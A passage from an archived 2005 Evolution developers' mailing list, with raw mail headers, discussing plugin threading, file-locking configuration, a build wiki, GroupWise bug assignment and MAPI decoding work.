Today i realised Why i havent got it to work as i wanted it.
 
well i have 3 functions in that struct that gets executed, and thought
that a 4th could be used to run the compression part there.
so i got 'a__desc', 'a__exp', 'a__cpio', 'a__free' so the thought here
was to get __exp to deliver the mails to the location where i wanted it,
say /home/smurfd/backup/ and then to run the compression on That
folder. 

Why you ask, why not just run the compression on the right-clicked
folder? Well ive been heavily debating this (with myself) and after many
debates, i came up with that running it on the exported directory would
be better, since than i wouldnt have to care about if the user
right-clicks a non-local folder, say IMAP or whatever for the
compression part.

sounds sane?

That way, i need to have the "exportion" part to be finished Before the
compression part takes place.
Easy, just have the compression part take place in the __cpio function,
right?
NO, that wont work, and after serious thinking, serious headsmashing, i
realised Why that is...

Thats because in the __exp i have 'mail_get_folder()' wich itself spawns
a new thread, and that way, the __exp thinks its work is done, before it
"really" is...

Well, you should be running the whole shooting match in another thread already?  You are right?

Then you don't use mail_get_folder() at all, you can just use the camel calls directly, or the mail helper, mail_tools_uri_to_folder().  You then use camel_operation to pass any status to the main ui, if you need to.

You could also perhaps do mail_msg_wait() on the return of mail_get_folder(), although it would be simpler to avoid all that extra thread stuff entirely.

So im gonna have to borrow some more code i guess... and make small
modifications on it to fit my needs.

Better to re-use, than to re-invent i guess. :)

Best regards
/Nicklas
--=-2K7dctTP/BJEsWrO7X23-- From ealtin@parkyeri.com Wed Feb 16 08:41:15 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5E9961242CB; Wed, 16 Feb 2005 08:41:15 -0500 (EST) Received: from fatstacks.parkyeri.net (unknown [193.192.101.206]) by lists.ximian.com (Postfix) with ESMTP id B48C4124026 for ; Wed, 16 Feb 2005 08:41:03 -0500 (EST) Received: from [213.74.28.131] (helo=[192.168.27.48]) by fatstacks.parkyeri.net with asmtp (Exim 3.35 #1 (Debian)) id 1D1PQL-0007rP-00 for ; Wed, 16 Feb 2005 15:41:01 +0200 Subject: Re: [Evolution-hackers] Making file-locking configurable at runtime? (UG#4795) From: Enver ALTIN To: evolution-hackers@lists.ximian.com In-Reply-To: <1108513604.4972.36.camel@lostzed.mmc.com.au> References: <1108486454.7881.67.camel@roadrunner.skyblue.gen.tr> <1108513604.4972.36.camel@lostzed.mmc.com.au> Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-9zknAdvgJ+i/gq+1wf9e" Organization: Parkyeri Date: Wed, 16 Feb 2005 15:40:44 +0200 Message-Id: <1108561244.9967.14.camel@roadrunner.skyblue.gen.tr> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-28.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,PGP_SIGNATURE_2, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-9zknAdvgJ+i/gq+1wf9e Content-Type: text/plain Content-Transfer-Encoding: quoted-printable Hi, On Wed, 2005-02-16 at 08:26 +0800, Not Zed wrote: > > What I think is, to convert compile time things a lookup to GConf and d= o > > the preferred way of locking. If I come up with a patch implementing > > this, would that ever get committed? > An environmental variable would probably suffice. Is there any reason > that wouldn't be good enough? Actually, yes. An environment variable would fit very well. Thanks, --=20 .O. ..O Enver ALTIN | http://skyblue.gen.tr/ OOO Software developer @ Parkyeri | http://www.parkyeri.com/ --=-9zknAdvgJ+i/gq+1wf9e Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (GNU/Linux) iD8DBQBCE01cZCB2FZvqK0sRAuHjAJ98WCbGAmAMw12WyxsG9U+oYlRcXQCeNtWh c0J+AXcuwId35astYgEr6MA= =msd+ -----END PGP SIGNATURE----- --=-9zknAdvgJ+i/gq+1wf9e-- From spamfrommailing@freax.org Thu Feb 17 16:13:07 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 145321247E2; Thu, 17 Feb 2005 16:13:06 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 9AFD11247D9 for ; Thu, 17 Feb 2005 16:12:55 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A86A013942C1; Thu, 17 Feb 2005 22:12:50 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 23564-10; Thu, 17 Feb 2005 22:12:43 +0100 (CET) Received: from lort (dD577524A.access.telenet.be [213.119.82.74]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 2922B1394210; Thu, 17 Feb 2005 22:12:43 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: evolution-hackers@lists.ximian.com, gnome-hackers@gnome.org Content-Type: text/plain Date: Thu, 17 Feb 2005 22:12:43 +0100 Message-Id: <1108674763.9004.1.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I've updated this wiki a bit. Stuff like debugging a running Evolution process has been hadded. http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS Hf. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From rodrigo@novell.com Fri Feb 18 08:32:24 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 49BB3124E5D; Fri, 18 Feb 2005 08:32:24 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 87A33124E83 for ; Fri, 18 Feb 2005 08:32:12 -0500 (EST) Received: (qmail 19621 invoked from network); 18 Feb 2005 13:32:11 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 18 Feb 2005 13:32:11 -0000 From: Rodrigo Moya To: spamfrommailing@freax.org Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108674763.9004.1.camel@localhost.localdomain> References: <1108674763.9004.1.camel@localhost.localdomain> Content-Type: text/plain Date: Fri, 18 Feb 2005 14:29:43 +0100 Message-Id: <1108733383.22947.3.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-22.0 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > I've updated this wiki a bit. Stuff like debugging a running Evolution > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? (live.gnome.org/Evolution) It's indeed a good addition to the BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource -- Rodrigo Moya From spamfrommailing@freax.org Fri Feb 18 11:17:28 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 436FC124C2A; Fri, 18 Feb 2005 11:17:28 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id C62DD124F04 for ; Fri, 18 Feb 2005 11:17:16 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id A9582139473D; Fri, 18 Feb 2005 17:17:12 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 01045-06; Fri, 18 Feb 2005 17:17:05 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id 4D644139473B; Fri, 18 Feb 2005 17:17:05 +0100 (CET) From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: text/plain Date: Fri, 18 Feb 2005 17:17:04 +0100 Message-Id: <1108743424.19638.3.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-21.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, QUOTE_TWICE_1,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Information about hacking on Evolution Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource I wouldn't object to anybody would port the mediawiki-formatted stuff on my personal wiki to the wiki-engine thats being used on gnome's wiki. So go ahead -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org From jpr@novell.com Fri Feb 18 12:03:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 9E097124F1C; Fri, 18 Feb 2005 12:03:42 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 42B011249F7 for ; Fri, 18 Feb 2005 12:03:30 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Fri, 18 Feb 2005 10:03:12 -0700 From: JP Rosevear To: Evolution Hackers mailing list Cc: evolution-groupwise-maintainers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Fri, 18 Feb 2005 12:02:58 -0500 Message-Id: <1108746179.6456.246.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=9.2 required=5.0 tests=BAYES_20,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, SUBJ_HAS_UNIQ_ID,TRACKER_ID version=2.53 X-Spam-Level: ********* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] evolution-groupwise-maintainers Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I got this alias setup for bugzilla in case we want to assign groupwise related bugs there some how. Personally I'd prefer to keep the groupwise bugs assigned to individual components with the groupwise keyword rather than create a separate product (the GroupWise product in their now was a broken attempt at tracking some server issues) or separate component. We don't put IMAP or POP bugs in a separate component. However it is a little different in this case because we have a specific group working on these bugs and there are currently a lot of them. We could transfer the groupwise keyword bugs that aren't assigned specifically right now to evolution-groupwise-maintainers and periodically make sure the assignment is right. This would cut down the bug traffic to evolution-mail-maintainers, evolution-calendar-maintainers, etc. Thoughts? -JP -- JP Rosevear Novell, Inc. From snallagatla@novell.com Fri Feb 18 12:52:56 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 18FA912471B; Fri, 18 Feb 2005 12:52:56 -0500 (EST) Received: from Gr8-Siva.hathaway (unknown [202.88.171.168]) by lists.ximian.com (Postfix) with ESMTP id 1EEBC12424B for ; Fri, 18 Feb 2005 12:52:43 -0500 (EST) Received: by Gr8-Siva.hathaway (Postfix, from userid 0) id DBCA212982D; Fri, 18 Feb 2005 23:22:50 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Sivaiah Nallagatla To: JP Rosevear Cc: Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108746179.6456.246.camel@bishop.rosevear.com> References: <1108746179.6456.246.camel@bishop.rosevear.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Fri, 18 Feb 2005 23:22:50 +0530 Message-Id: <1108749170.12982.7.camel@Gr8-Siva.hathaway> Mime-Version: 1.0 X-Mailer: Evolution 2.0.3 X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > I got this alias setup for bugzilla in case we want to assign groupwise > related bugs there some how. > > Personally I'd prefer to keep the groupwise bugs assigned to individual > components with the groupwise keyword rather than create a separate > product (the GroupWise product in their now was a broken attempt at > tracking some server issues) or separate component. We don't put IMAP > or POP bugs in a separate component. However it is a little different > in this case because we have a specific group working on these bugs and > there are currently a lot of them. We could transfer the groupwise > keyword bugs that aren't assigned specifically right now to > evolution-groupwise-maintainers and periodically make sure the > assignment is right. This would cut down the bug traffic to > evolution-mail-maintainers, evolution-calendar-maintainers, etc. > > Thoughts? This idea looks good to me though i would prefer separte product. I feel having separate product would make bug submitting easier for folks who are testing/using groupwise and avoids even the initial mails sent when new bug is filed. Going over bugzilla to find groupwise related bugs will be more painful than moving an occasional non-groupwise bug present in groupwise prodcut to evolution. Siva From lkcl@lkcl.net Fri Feb 18 17:47:42 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5B6B112427E; Fri, 18 Feb 2005 17:47:42 -0500 (EST) Received: from open.hands.com (open.hands.com [195.224.53.39]) by lists.ximian.com (Postfix) with ESMTP id 13A13124370 for ; Fri, 18 Feb 2005 17:47:31 -0500 (EST) Received: from lkcl.net (host81-155-76-60.range81-155.btcentralplus.com [81.155.76.60]) by open.hands.com (Postfix) with ESMTP id 2CF84C1DA; Fri, 18 Feb 2005 22:47:18 +0000 (GMT) Received: from lkcl by lkcl.net with local (Exim 4.24) id 1D2H3w-0008Tw-Si; Fri, 18 Feb 2005 22:57:28 +0000 Date: Fri, 18 Feb 2005 22:57:28 +0000 From: Luke Kenneth Casson Leighton To: MAPI Decoding , evolution-hackers@lists.ximian.com Message-ID: <20050218225728.GK13329@lkcl.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i X-hands-com-MailScanner: Found to be clean X-MailScanner-From: lkcl@lkcl.net X-Spam-Status: No, hits=1.9 required=5.0 tests=BAYES_60,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,USER_AGENT_MUTT version=2.53 X-Spam-Level: * X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] MAPI / exch 5.5 decoding code - now in cvs Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: if anyone's interested: http://sf.net/projects/oser. http://cvs.sourceforge.net/viewcvs.py/oser/exchange5.5/exploration/ sadly, TNEF turns out to be a local cache of MAPI info. yet another awful format. exchange 5.5 MAPI encoding is sick. once i'm through with this, exchange 5.5 MAPI encoding will be used as a teaching aid / example of how NOT to roll your own RPC mechanism (which *sob* is what they've done). anyway. it's a long way off from being useable in evolution as a direct library "get-me-an-email-message" perspective, but it's a step in the right direction. l. -- -- http://lkcl.net -- From kharish@novell.com Sat Feb 19 08:40:30 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 16F7E1247BB; Sat, 19 Feb 2005 08:40:30 -0500 (EST) Received: from BLR-DSMASTER.BLR.NOVELL.COM (unknown [202.144.86.147]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "blr-dsmaster", Issuer "ISPORTAL" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 5C18912476B for ; Sat, 19 Feb 2005 08:40:16 -0500 (EST) Received: from emptyboat.blr.novell.com [164.99.152.185] by BLR-DSMASTER.BLR.NOVELL.COM; Sat, 19 Feb 2005 19:09:46 +0530 Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: Harish Krishnaswamy To: Sivaiah Nallagatla Cc: JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <1108749170.12982.7.camel@Gr8-Siva.hathaway> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> Content-Type: text/plain Date: Sat, 19 Feb 2005 19:08:42 +0530 Message-Id: <1108820322.10067.4.camel@emptyboat.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-19.5 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: >> I got this alias setup for bugzilla in case we want to assign groupwise >> related bugs there some how. >> >> Personally I'd prefer to keep the groupwise bugs assigned to individual >> components with the groupwise keyword rather than create a separate >> product (the GroupWise product in their now was a broken attempt at >> tracking some server issues) or separate component. We don't put IMAP >> or POP bugs in a separate component. However it is a little different >> in this case because we have a specific group working on these bugs and >> there are currently a lot of them. We could transfer the groupwise >> keyword bugs that aren't assigned specifically right now to >> evolution-groupwise-maintainers and periodically make sure the >> assignment is right. This would cut down the bug traffic to >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. >> >> Thoughts? >This idea looks good to me though i would prefer separte product. I feel having separate >product would make bug submitting easier for folks who are testing/using >groupwise and avoids even the initial mails sent when new bug is filed. >Going over bugzilla to find groupwise related bugs will be more painful >than moving an occasional non-groupwise bug present in groupwise prodcut >to evolution. > > >Siva > I welcome this idea - actually helps us ensure that none of the bugs are missed. Currently, some of them have skipped my radar - since groupwise keyword was not mentioned in some cases and had been assigned to the product design team - forcing me to resort to look for bugs filed by the QA hackers rather than the other way round. Also, it should reduce lots of traffic for non-gw maintainers - yes. Harish From owner-evolution-hackers@skeptopotamus.ximian.com Sun Feb 20 08:52:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6EC83124805; Sun, 20 Feb 2005 08:52:19 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA7E11248B9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 76042637DD; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from jareth.dreamhost.com (jareth.dreamhost.com [66.33.198.201]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 569C8637D9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: from 192.168.1.105 (pC19EB64A.dip.t-dialin.net [193.158.182.74]) by jareth.dreamhost.com (Postfix) with ESMTP id 3A47B6B602 for ; Sun, 20 Feb 2005 05:52:03 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1107635723.3794.56.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> Content-Type: text/plain Date: Sun, 20 Feb 2005 14:52:01 +0100 Message-Id: <1108907521.6107.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-16.7 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I sent this to desktop-devel-list but maybe the evo maintainers didn't see it. Could you add some information about what's new in Evolution for GNOME 2.10, please? Thanks. On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > It's time to think about the 2.10 release notes. > > Could GNOME maintainers please tell us about major user-visible changes > in their modules, by editing this page: > http://live.gnome.org/ReleaseNotes > or just email them to me or the release-team if necessary. > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From notzed@ximian.com Sun Feb 20 19:43:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0CB021247A2; Sun, 20 Feb 2005 19:43:58 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6E00912422B for ; Sun, 20 Feb 2005 19:43:46 -0500 (EST) Received: (qmail 23656 invoked from network); 21 Feb 2005 00:43:45 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 00:43:45 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Not Zed To: Rodrigo Moya Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-Q0acAGZHC2vn6Q5H+xRU" Date: Mon, 21 Feb 2005 08:38:11 +0800 Message-Id: <1108946291.24160.11.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/plain Content-Transfer-Encoding: 7bit There's an evolution wiki??? Since when? On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > > > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
There's an evolution wiki???

Since when?

On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: 
On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote:
> I've updated this wiki a bit. Stuff like debugging a running Evolution
> process has been hadded.
> 
>     http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS
> 
shouldn't this better be at the Evolution wiki?
(live.gnome.org/Evolution) It's indeed a good addition to the
BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource
--=-Q0acAGZHC2vn6Q5H+xRU-- From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 21 00:00:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17F44124D7F; Mon, 21 Feb 2005 00:00:38 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id CF4EE124D87 for ; Mon, 21 Feb 2005 00:00:15 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id A403F63B51; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 411EE63282; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Sun, 20 Feb 2005 21:57:43 -0700 From: JP Rosevear To: 